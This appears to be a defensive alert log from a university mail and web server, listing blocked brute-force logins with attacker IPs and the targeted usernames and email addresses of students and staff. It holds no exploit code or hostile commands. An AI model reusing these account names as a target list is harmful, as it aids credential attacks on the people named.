Feb  7 16:42:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.76.248.54 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.21.250
country_id: 1880251
description:
47.128.21.250 - - [07/Feb/2025:16:41:34 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15410790 HTTP/2.0" 302 0 iric.us "https://iric.us/home/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.21.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 16:42:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.196.97
country_id: 3469034
description:
Feb  7 16:42:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.196.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.125.67.109
country_id: 1835841
description:
2025-02-07 16:43:25 dovecot_plain authenticator failed for ([39.125.67.109]) [39.125.67.109]:40407: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.9.3.190
country_id: 3469034
description:
Feb  7 16:42:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.9.3.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.77.212.116
country_id: 174982
description:
2025-02-07 16:42:39 dovecot_plain authenticator failed for ([5.77.212.116]) [5.77.212.116]:58919: 535 Incorrect authentication data (set_id=ads21a00112y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.97
country_id: 3469034
description:
2025-02-07 16:42:48 dovecot_plain authenticator failed for (97.196.181.45.datasysteminfor.com.br) [45.181.196.97]:51871: 535 Incorrect authentication data (set_id=bscs18bit0021y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 16:43:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.9.3.190
country_id: 3469034
description:
2025-02-07 16:42:31 dovecot_plain authenticator failed for ([187.9.3.190]) [187.9.3.190]:42217: 535 Incorrect authentication data (set_id=ads21a00112y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.77.212.116
country_id: 174982
description:
Feb  7 16:42:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.77.212.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.63.165.61
country_id: 3351879
description:
2025-02-07 16:43:04 dovecot_plain authenticator failed for ([41.63.165.61]) [41.63.165.61]:3283: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.125.67.109
country_id: 1835841
description:
Feb  7 16:43:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.125.67.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2025-02-07 16:42:27 dovecot_plain authenticator failed for ([222.76.248.54]) [222.76.248.54]:39680: 535 Incorrect authentication data (set_id=bscs18bit0021y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 16:42:50 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.185.224.201
country_id: 1210997
description:
[2025-02-07 16:42:56 +0100] info [webmaild] 103.185.224.201 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.63.165.61
country_id: 3351879
description:
Feb  7 16:43:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.63.165.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.62.233.146
country_id: 1168579
description:
Feb  7 16:44:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.62.233.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.171.195.70
country_id: 6252001
description:
2025-02-07 16:43:51 dovecot_plain authenticator failed for ([216.171.195.70]) [216.171.195.70]:39342: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.37.226.228
country_id: 2017370
description:
Feb  7 16:43:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.37.226.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
country_id: 6252001
description:
Feb  7 16:44:15 ait sshd[1903574]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.211.31.222
country_id: 2510769
description:
2025-02-07 16:44:25 dovecot_plain authenticator failed for ([77.211.31.222]) [77.211.31.222]:42394: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.44.217.237
country_id: 2077456
description:
2025-02-07 16:44:25 dovecot_plain authenticator failed for ([121.44.217.237]) [121.44.217.237]:49275: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.129.114.190
country_id: 798544
description:
2025-02-07 16:43:44 dovecot_plain authenticator failed for ([185.129.114.190]) [185.129.114.190]:51360: 535 Incorrect authentication data (set_id=ds18b00116y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.37.226.228
country_id: 2017370
description:
2025-02-07 16:43:56 dovecot_plain authenticator failed for broadband-77-37-226-228.ip.moscow.rt.ru [77.37.226.228]:59976: 535 Incorrect authentication data (set_id=ds18b00116y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
country_id: 6252001
description:
Feb  7 16:44:15 ait sshd[1903574]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.62.233.146
country_id: 1168579
description:
2025-02-07 16:44:14 dovecot_plain authenticator failed for ([103.62.233.146]) [103.62.233.146]:60776: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.44.217.237
country_id: 2077456
description:
Feb  7 16:44:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.44.217.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.225.194.121
country_id: 3469034
description:
2025-02-07 16:43:39 dovecot_plain authenticator failed for (45-225-194-121.ibiunet.com.br) [45.225.194.121]:58976: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.171.195.70
country_id: 6252001
description:
Feb  7 16:43:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.171.195.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.211.31.222
country_id: 2510769
description:
Feb  7 16:44:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.211.31.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.225.194.121
country_id: 3469034
description:
Feb  7 16:43:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.225.194.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.129.114.190
country_id: 798544
description:
Feb  7 16:43:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.129.114.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.121.199.203
country_id: 6252001
description:
Feb  7 16:44:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.121.199.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.201.54.90
country_id: 3469034
description:
2025-02-07 16:45:02 dovecot_plain authenticator failed for ([189.57.81.137]) [186.201.54.90]:34125: 535 Incorrect authentication data (set_id=bscs18bit0021y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.166.214
country_id: 1814991
description:
2025-02-07 16:45:25 dovecot_plain authenticator failed for ([220.180.166.214]) [220.180.166.214]:56500: 535 Incorrect authentication data (set_id=bscs18bit0021y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.139.110.118
country_id: 690791
description:
2025-02-07 16:44:35 dovecot_plain authenticator failed for (durtrost) [37.139.110.118]:51797: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.182.203.89
country_id: 1814991
description:
2025-02-07 16:44:41 dovecot_plain authenticator failed for ([110.182.203.89]) [110.182.203.89]:35346: 535 Incorrect authentication data (set_id=nkbosomefi@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 16:45:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.166.214
country_id: 1814991
description:
Feb  7 16:45:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.166.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.208.177.56
country_id: 6252001
description:
Feb  7 16:44:51 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.208.177.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.177.56
country_id: 6252001
description:
2025-02-07 16:44:53 dovecot_plain authenticator failed for ([74.208.177.56]) [74.208.177.56]:42280: 535 Incorrect authentication data (set_id=nkbosomefi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.182.203.89
country_id: 1814991
description:
Feb  7 16:44:39 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.182.203.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.121.199.203
country_id: 6252001
description:
2025-02-07 16:44:45 dovecot_plain authenticator failed for ool-4579c7cb.dyn.optonline.net [69.121.199.203]:60238: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.201.54.90
country_id: 3469034
description:
Feb  7 16:45:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.201.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.33.201.45
country_id: 1814991
description:
Feb  7 16:45:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.33.201.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.139.110.118
country_id: 690791
description:
Feb  7 16:44:33 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.139.110.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.33.201.45
country_id: 1814991
description:
2025-02-07 16:45:25 dovecot_plain authenticator failed for ([36.33.201.45]) [36.33.201.45]:56386: 535 Incorrect authentication data (set_id=odom-oduro@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.195.208.238
country_id: 1814991
description:
Feb  7 16:46:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.195.208.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2025-02-07 16:45:51 dovecot_plain authenticator failed for c-71-229-1-186.hsd1.al.comcast.net [71.229.1.186]:59784: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.106.198.35
country_id: 1835841
description:
2025-02-07 16:46:07 dovecot_plain authenticator failed for ([222.106.198.35]) [222.106.198.35]:55182: 535 Incorrect authentication data (set_id=abs21a00012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.109.148.43
country_id: 1835841
description:
Feb  7 16:45:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.109.148.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.91.165.171
country_id: 6251999
description:
Feb  7 16:46:14 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.91.165.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.106.198.35
country_id: 1835841
description:
Feb  7 16:46:05 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.106.198.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.91.165.171
country_id: 6251999
description:
2025-02-07 16:46:16 dovecot_plain authenticator failed for 198-91-165-171.cpe.distributel.net [198.91.165.171]:39282: 535 Incorrect authentication data (set_id=tyeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 16:45:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.236.156.129
country_id: 1835841
description:
Feb  7 16:45:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.236.156.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.236.156.129
country_id: 1835841
description:
2025-02-07 16:46:01 dovecot_plain authenticator failed for ([1.236.156.129]) [1.236.156.129]:57690: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.195.208.238
country_id: 1814991
description:
2025-02-07 16:46:19 dovecot_plain authenticator failed for ([221.195.208.238]) [221.195.208.238]:14920: 535 Incorrect authentication data (set_id=mumuni@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.186.221.174
country_id: 1269750
description:
Feb  7 16:46:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.186.221.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.221.174
country_id: 1269750
description:
2025-02-07 16:46:23 dovecot_plain authenticator failed for ([103.186.221.174]) [103.186.221.174]:53378: 535 Incorrect authentication data (set_id=abs21a00012y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.109.148.43
country_id: 1835841
description:
2025-02-07 16:45:36 dovecot_plain authenticator failed for ([183.109.148.43]) [183.109.148.43]:43862: 535 Incorrect authentication data (set_id=odom-oduro)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.229.1.186
country_id: 6252001
description:
Feb  7 16:45:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.229.1.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.96.62.29
country_id: 1269750
description:
2025-02-07 16:47:08 dovecot_plain authenticator failed for ([59.96.62.29]) [59.96.62.29]:53646: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.72.128.185
country_id: 3469034
description:
2025-02-07 16:46:39 dovecot_plain authenticator failed for (187-072-128-185.static.ctbctelecom.com.br) [187.72.128.185]:44416: 535 Incorrect authentication data (set_id=mssept2014@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.9.59
country_id: 1814991
description:
2025-02-07 16:46:53 dovecot_plain authenticator failed for ([123.118.9.75]) [123.118.9.59]:60934: 535 Incorrect authentication data (set_id=mssept2014)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.194.206
country_id: 99237
description:
Feb  7 16:46:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.194.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.194.206
country_id: 99237
description:
2025-02-07 16:46:57 dovecot_plain authenticator failed for ([65.20.194.206]) [65.20.194.206]:54798: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 16:46:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.72.128.185
country_id: 3469034
description:
Feb  7 16:46:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.72.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.118.9.59
country_id: 1814991
description:
Feb  7 16:46:51 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.118.9.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.96.62.29
country_id: 1269750
description:
Feb  7 16:47:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.96.62.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.38.100.151
country_id: 2750405
description:
Feb  7 16:46:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.38.100.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.65
country_id: 1819730
description:
Feb  7 16:46:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.38.100.151
country_id: 2750405
description:
2025-02-07 16:46:27 dovecot_plain authenticator failed for ([209.38.100.151]) [209.38.100.151]:42696: 535 Incorrect authentication data (set_id=mumuni)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.65
country_id: 1819730
description:
2025-02-07 16:46:27 dovecot_plain authenticator failed for (m121-202-154-65.smartone.com) [121.202.154.65]:21720: 535 Incorrect authentication data (set_id=tyeboah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.213
country_id: 1819730
description:
2025-02-07 16:47:44 dovecot_plain authenticator failed for (m121-202-154-213.smartone.com) [121.202.154.213]:17612: 535 Incorrect authentication data (set_id=eng19b00204@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.216.101.162
country_id: 1814991
description:
Feb  7 16:47:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.216.101.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.132.229.196
country_id: 3175395
description:
2025-02-07 16:48:19 dovecot_plain authenticator failed for ([185.132.229.196]) [185.132.229.196]:48051: 535 Incorrect authentication data (set_id=info@ait-ext.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.213
country_id: 1819730
description:
Feb  7 16:47:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.216.101.162
country_id: 1814991
description:
2025-02-07 16:47:58 dovecot_plain authenticator failed for ([58.216.101.166]) [58.216.101.162]:45402: 535 Incorrect authentication data (set_id=eng19b00204)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.25.109
country_id: 1668284
description:
2025-02-07 16:48:06 dovecot_plain authenticator failed for 111-70-25-109.emome-ip.hinet.net [111.70.25.109]:43503: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.132.229.196
country_id: 3175395
description:
Feb  7 16:48:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.132.229.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.255.34.171
country_id: 2017370
description:
Feb  7 16:47:33 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.255.34.171 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
country_id: 732800
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:16-48.80.76.51.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.25.109
country_id: 1668284
description:
Feb  7 16:48:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.25.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.158.5.59
country_id: 6252001
description:
2025-02-07 16:48:07 dovecot_plain authenticator failed for 47-158-5-59.lsan.ca.frontiernet.net [47.158.5.59]:64630: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.255.34.171
country_id: 2017370
description:
2025-02-07 16:47:35 dovecot_plain authenticator failed for broadband-188-255-34-171.ip.moscow.rt.ru [188.255.34.171]:51150: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.73.22
country_id: 1512440
description:
[2025-02-07 16:48:02 +0100] info [webmaild] 84.54.73.22 - info@elma-hk.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.158.5.59
country_id: 6252001
description:
Feb  7 16:48:05 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.158.5.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.236.82.124
country_id: 3865483
description:
Feb  7 16:49:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.236.82.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.29.196.170
country_id: 6252001
description:
2025-02-07 16:48:31 dovecot_plain authenticator failed for ([71.29.196.170]) [71.29.196.170]:37154: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.156.80.166
country_id: 1880251
description:
Feb  7 16:48:51 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.156.80.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.32.19.205
country_id: 1668284
description:
2025-02-07 16:49:18 dovecot_login authenticator failed for 114-32-19-205.hinet-ip.hinet.net [114.32.19.205]:34548: 535 Incorrect authentication data (set_id=info@worldwide-university.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2025-02-07 16:48:31 dovecot_plain authenticator failed for ([182.42.113.10]) [182.42.113.10]:49912: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.156.80.166
country_id: 1880251
description:
2025-02-07 16:48:53 dovecot_plain authenticator failed for (166.80.156.175.unknown.m1.com.sg) [175.156.80.166]:46371: 535 Incorrect authentication data (set_id=abs08a99987y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.32.19.205
country_id: 1668284
description:
Feb  7 16:49:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.32.19.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.29.196.170
country_id: 6252001
description:
Feb  7 16:48:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.29.196.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.42.113.10
country_id: 1814991
description:
Feb  7 16:48:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.42.113.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.126
country_id: 1819730
description:
Feb  7 16:48:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.126
country_id: 1819730
description:
2025-02-07 16:48:40 dovecot_plain authenticator failed for (m121-202-153-126.smartone.com) [121.202.153.126]:64556: 535 Incorrect authentication data (set_id=abs08a99987y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 193.207.56.130
country_id: 3175395
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:loggershell443@gmail.com||WPU:loggershell443@gmail.com||RSV:6.65||T:APACHE||MV:16-50.193.207.56.130


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.208.71.101
country_id: 2017370
description:
Feb  7 16:49:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.208.71.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.208.71.101
country_id: 2017370
description:
2025-02-07 16:49:45 dovecot_plain authenticator failed for ([82.208.71.101]) [82.208.71.101]:50522: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.4.255.205
country_id: 1835841
description:
Feb  7 16:49:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.4.255.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Feb  7 16:49:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.149.203.183
country_id: 1835841
description:
Feb  7 16:49:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.149.203.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.205.14.196
country_id: 226074
description:
Feb  7 16:49:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.205.14.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.149.203.183
country_id: 1835841
description:
2025-02-07 16:49:39 dovecot_login authenticator failed for ([221.149.203.183]) [221.149.203.183]:37492: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 13001
